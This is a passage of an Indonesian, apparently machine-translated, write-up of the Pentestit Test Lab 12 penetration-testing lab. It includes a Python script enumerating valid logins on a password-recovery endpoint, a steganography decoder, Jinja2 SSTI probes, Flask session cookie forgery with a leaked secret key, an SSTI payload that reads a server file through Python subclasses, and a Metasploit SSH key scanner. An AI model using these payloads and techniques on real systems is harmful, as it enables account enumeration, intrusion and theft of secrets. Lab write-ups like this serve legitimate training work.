"Gerasimov"}, {"login": "martynova", "user": "Martynova"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "timofeeva", "user": "Timofeeva"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "loginova", "user": "Loginova"}, {"login": "maslova", "user": "Maslova"}, {"login": "matveev", "user": "Matveev"}, {"login": "zaharov", "user": "Zaharov"}, {"login": "nikiforova", "user": "Nikiforova"}, {"login": "galkina", "user": "Galkina"}, {"login": "vishnjakova", "user": "Vishnjakova"}, {"login": "kulakov", "user": "Kulakov"}, {"login": "medvedev", "user": "Medvedev"}, {"login": "antonova", "user": "Antonova"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "lihachev", "user": "Lihachev"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "gorbachev", "user": "Gorbachev"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "semenova", "user": "Semenova"}, {"login": "semenov", "user": "Semenov"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "gromova", "user": "Gromova"}, {"login": "samsonov", "user": "Samsonov"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "gusev", "user": "Gusev"}, {"login": "sitnikov", "user": "Sitnikov"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "voronova", "user": "Voronova"}, {"login": "mihajlov", "user": "Mihajlov"}, {"login": "lazareva", "user": "Lazareva"}, {"login": "nazarova", "user": "Nazarova"}, {"login": "krylova", "user": "Krylova"}, {"login": "morozova", "user": "Morozova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "shirjaeva", "user": "Shirjaeva"}, {"login": "scherbakov", "user": "Scherbakov"}] url = "http://172.16.1.20:8000/recover_password" l = len(list_user) valid=[] for i in range(l): print(str(i)+" - " + str(l)) req = get(url, params=list_user[i]) if "use valid credentials" not in req.text: print(list_user[i]) valid.append(list_user[i]) print(valid)
Jadi kami menemukan Medvedev.
Pulihkan kata sandinya. Passing langsung tidak akan berfungsi, karena "+" akan dikenali sebagai spasi, dan "&" sebagai pemisah. Kami menyandikan URLencode dan menerima token.
Token gambar
Jadi, kami menemukan gambar untuk stego. Mari kita perbaiki. Menggunakan file, binwalk, dan hex editor, kami memeriksa file untuk lampiran. Karena itu, mereka tidak akan menganalisis utilitas stegsolve. Dalam gambar terbesar kami menemukan bit dropdown pada posisi 2 dan 1 rgb. Ini adalah metode LSB.
Lebih lanjut, karena saya tidak memuntir, saya tidak menerima apa-apa. Harus memahami lebih dalam menangani. Untuk melakukan ini, gunakan perpustakaan python PIL untuk bekerja dengan gambar. Kami melihat gambar, dan kami melihat bahwa piksel mengambil tiga nilai - 0, 255 dan 249. Mari kita membangun peta biner dari gambar. Karena 0 dan 255 adalah nilai normal untuk barcode, kita akan menulis "0" sebagai ganti mereka, dan "1" bukannya 249. Selanjutnya, kami akan mencoba membagi kartu kami menjadi enam belas karakter dan menghapusnya dari semua baris yang hanya mengandung enam belas nol. Selanjutnya, tulis posisi unit dari setiap baris, dan terjemahkan dari bentuk heksadesimal menjadi string untuk mendapatkan token.Kode from PIL import Image import binascii image = Image.open('./support4.png') width, height = image.size pix = image.load() r='' for i in range(height): for j in range(width): if(sum(pix[j,i])!=765 and sum(pix[j,i])!=0): r+='1' else: r+='0' token='' for i in range(0,len(r),16): if r[i:i+16] != '0'*16: token+=hex(r[i:i+16].find('1'))[2] print(token)
Token saya
Jadi Ada juga my.test.lab di file / etc / hosts, di mana kita belum pergi. Formulir otorisasi. Kami memiliki pengguna info, sviridov dan medvedev. Berhasil masuk ke info. Ada bilah pencarian. Atas permintaan token, kami diberi lima gambar kuda poni. Tidak ada, Kami akan memindai. Saat menggunakan wapiti, kami dilarang. Dengan beberapa pertanyaan untuk memeriksa SQL-inj dan XSS, kami juga mendapatkan larangan. Kami mengirim permintaan sederhana untuk menguji SSTI: {{7 * 7}}. Dan kodenya dieksekusi, karena dalam jawaban kita mendapat 49.
Masih menentukan mesin template yang digunakan di server. Ini diperlukan untuk mengetahui lingkungan mana (variabel, fungsi, konstanta, dll.) Yang dapat digunakan. Ini dapat dengan mudah dilakukan sebagai berikut.
Kita sudah tahu bahwa itu adalah Jinja2 atau Ranting. Karenanya, kami mengirim permintaan berikut: {{7 * β7β}}. Kami mendapat respons positif. Ini adalah mesin template python Jinja2, yang dengan mudah dikonfirmasi oleh permintaan {{self}}.
Mari kita lihat konfigurasi: {{config}}. Di sana kami menemukan kunci rahasia, yang merupakan token.
API Token
Kami belajar dari dokumentasi bahwa jinja2 menghasilkan cookie tergantung pada kunci rahasia server. Untuk mengeksploitasi kerentanan, kita memerlukan manajer flask-session-cookie- script . Kita perlu memeriksa apakah kunci rahasia ini berfungsi. Untuk melakukan ini, kita perlu mencoba mendekripsi sesi pengguna info di dalamnya. Cookie didekripsi secara bebas.
Mengetahui format cookie, kami sekarang dapat masuk sebagai pengguna mana pun. Untuk melakukan ini, Anda juga harus membuat cookie. Setelah kegagalan yang lama, saya melihat korelasi antara blok tengah dan waktu sistem. Kami mengubah tanggal hingga awal blok tengah bertepatan. Mencapai 2060. Pengguna token dan sviridov yang dibuat, tetapi tidak memberikan apa-apa, jadi saya memutuskan untuk menghasilkan untuk admin. Setelah berhasil mengganti cookie, kami mendapatkan beberapa kunci rahasia pengguna, yang tidak mereka mengerti.
Butuh tiga hari untuk mencari RCE (eksekusi kode jarak jauh) melalui SSTI. Faktanya adalah kita hanya dapat mengoperasikan modul yang dimuat di server dan fungsinya. Untuk memulainya, kami mencari tahu apa fungsinya. Kami akan melakukan ini melalui cookie labu. {{"".__class__.__mro__[1].__subclasses__()}}
Kami memasukkan ke dalam cookie, menyegarkan halaman dan melihat bahwa alih-alih nama pengguna, semua kelas python yang dimuat di server ditampilkan. Di antara mereka adalah Popen, yang akan memungkinkan kita untuk membaca file di server.
Sekarang tinggal membaca file di sepanjang path / var / www / api / token. Kami akan mengakses kelas dengan indeks (untuk popen itu 94). Di dalamnya, kita memanggil fungsi terbuka untuk membuka file (kita memecah jalur ke file, jika tidak filter WAF) dan membacanya dengan fungsi read (). {{[].__class__.__base__.__subclasses__(+)[94].__init__.__globals__['__builtins__']['open']('/var/www'+'/api/token','rb').read(+)}}
Sebagai hasilnya, kita mendapatkan file sebagai satu set byte, yang kita salin, buka interpreter python dan tempel sebagai string. Selanjutnya, tulis baris ini ke file. Mari kita lihat jenis file di utilitas file. Ini adalah arsip * tar.gz. Kami membuka dan mengambil token.Token admin
Tugas terakhir tetap ada. Arsip menyimpan kunci untuk terhubung melalui ssh. Dari analisis SIEM, Anda dapat mengetahui host mana yang harus dihubungkan.
Pertama-tama, Anda perlu mengonfigurasi hak akses ke kunci, karena ini diperiksa saat menghubungkan (harus 600). Kemudian kami terhubung, tetapi kami diberitahu bahwa akses ditutup dan kesalahan ada di kuncinya.
Saat melihat format kunci, kami perhatikan bahwa isinya tidak sesuai dengan file lengkap. Untuk melakukan ini, kita memerlukan informasi otentikasi yang kami terima ketika membuat koneksi dan hash SHA yang dapat diambil dalam SIEM.
Tetapi sekarang ketika mencoba untuk terhubung, di bawah Sviridov (dia adalah admin), kita diberitahu bahwa kuncinya tidak cocok. Kita perlu memilah-milah semua pengguna yang sudah kita miliki.
Untuk menguji kunci dan pengguna, kami menggunakan modul kerangka kerja metasploit - pemindai / ssh / ssh_login_pubkey. Dan seperti yang Anda lihat, ini adalah sidorov kunci pengguna.
Temukan di sistem file token. find | grep token
Selanjutnya, periksa hak dan serahkan token.
Kesimpulan
Jadi Pentestit Test Lab 12 berlalu.
Saya ingin mengucapkan terima kasih banyak kepada penyelenggara laboratorium ini, tetapi beberapa tugas lebih untuk CTF daripada untuk pengujian penetrasi. Saya harap artikel ini akan membantu seseorang belajar dan menemukan sesuatu yang baru, dan seseorang akan diingatkan tentang saat ketika dia sendiri melalui laboratorium ini dari token ke token. Sekarang kita sedang menunggu tanggal 13 ...Kami berada di saluran telegram:
saluran di Telegram .